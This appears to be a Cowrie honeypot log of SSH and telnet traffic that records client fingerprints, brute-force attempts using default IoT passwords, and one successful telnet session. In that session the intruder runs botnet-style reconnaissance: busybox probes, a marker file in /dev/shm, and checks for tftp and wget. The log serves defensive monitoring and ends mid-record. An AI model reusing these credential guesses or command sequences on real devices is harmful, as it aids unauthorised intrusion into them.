{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:24.564419Z","src_ip":"159.203.92.129","session":"4a98a04aacab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:24.571255Z","src_ip":"159.203.92.129","session":"4a98a04aacab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2019","message":"login attempt [Data/korea2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:24.581546Z","src_ip":"159.203.92.129","session":"4a98a04aacab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:25.609218Z","src_ip":"159.203.92.129","session":"4a98a04aacab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"7998f337040f","protocol":"telnet","message":"New connection: 80.76.101.102:39404 (10.17.0.5:23) [session: 7998f337040f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:29.873862Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:30.299776Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111","message":"login attempt [root/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:30.744888Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:31.169514Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ttnet","message":"login attempt [root/ttnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:31.590698Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ipcam_rt5350","message":"login attempt [admin/ipcam_rt5350] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:32.010800Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54702,"dst_ip":"159.203.135.109","dst_port":22,"session":"707ac66e146b","protocol":"ssh","message":"New connection: 80.94.92.186:54702 (159.203.135.109:22) [session: 707ac66e146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:35.142048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:35.174479Z","src_ip":"80.94.92.186","session":"707ac66e146b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:35.292591Z","src_ip":"80.94.92.186","session":"707ac66e146b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:36.058856Z","src_ip":"80.94.92.186","session":"707ac66e146b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:37.265429Z","src_ip":"80.94.92.186","session":"707ac66e146b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0a2f920438","protocol":"telnet","message":"New connection: 80.76.101.102:39440 (10.17.0.5:23) [session: 6f0a2f920438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:50.884367Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"GM8182","message":"login attempt [root/GM8182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:51.300048Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"founder88","message":"login attempt [root/founder88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:51.771466Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"juantech","message":"login attempt [root/juantech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:52.179441Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0admin","message":"login attempt [root/7ujMko0admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:52.595483Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"888888","password":"888888","message":"login attempt [888888/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:53.003473Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":48872,"dst_ip":"10.17.0.5","dst_port":22,"session":"39dc851db33f","protocol":"ssh","message":"New connection: 79.116.23.158:48872 (10.17.0.5:22) [session: 39dc851db33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:57.216394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:57.221160Z","src_ip":"79.116.23.158","session":"39dc851db33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:57.340276Z","src_ip":"79.116.23.158","session":"39dc851db33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"squid","message":"login attempt [admin/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:57.840420Z","src_ip":"79.116.23.158","session":"39dc851db33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:11:58.961025Z","src_ip":"79.116.23.158","session":"39dc851db33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191164016724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:06.067767Z","src_ip":"80.76.101.102","session":"22695de647a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47262,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ccc7900682f","protocol":"ssh","message":"New connection: 159.203.92.129:47262 (159.203.135.109:22) [session: 2ccc7900682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:08.581156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:08.586359Z","src_ip":"159.203.92.129","session":"2ccc7900682f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:08.591170Z","src_ip":"159.203.92.129","session":"2ccc7900682f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2020","message":"login attempt [Data/korea2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:08.622776Z","src_ip":"159.203.92.129","session":"2ccc7900682f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:09.678086Z","src_ip":"159.203.92.129","session":"2ccc7900682f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.76.101.102","src_port":39477,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10de2067b5c","protocol":"telnet","message":"New connection: 80.76.101.102:39477 (10.17.0.5:23) [session: c10de2067b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:11.904351Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"meinsm","message":"login attempt [admin/meinsm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.348887Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.794824Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.848335Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.989438Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.994303Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:12.997963Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.001892Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.005698Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.009411Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox OHQDK","message":"CMD: cat /proc/mounts; /bin/busybox OHQDK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.197201Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OHQDK","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OHQDK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.338899Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox OHQDK","message":"CMD: tftp; wget; /bin/busybox OHQDK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.485178Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.690556Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.696644Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox OHQDK","message":"CMD: /bin/busybox OHQDK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.835461Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.841513Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.845612Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.849436Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/08ef5af4c48bde2342f15acd5b462abcc803c513c6f9ea645bdc77f8cddd6cf8","size":3466,"shasum":"08ef5af4c48bde2342f15acd5b462abcc803c513c6f9ea645bdc77f8cddd6cf8","duplicate":false,"duration":"1.0","message":"Closing TTY Log: var/lib/cowrie/tty/08ef5af4c48bde2342f15acd5b462abcc803c513c6f9ea645bdc77f8cddd6cf8 after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.856454Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9652445316314697,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:13.869682Z","src_ip":"80.76.101.102","session":"c10de2067b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00416254997253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:26.853827Z","src_ip":"80.76.101.102","session":"e689f144c690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.02184820175171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:47.891672Z","src_ip":"80.76.101.102","session":"f8f24955900c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":38374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa7af914b94","protocol":"ssh","message":"New connection: 79.116.23.158:38374 (10.17.0.5:22) [session: 2aa7af914b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:48.638649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:48.643903Z","src_ip":"79.116.23.158","session":"2aa7af914b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 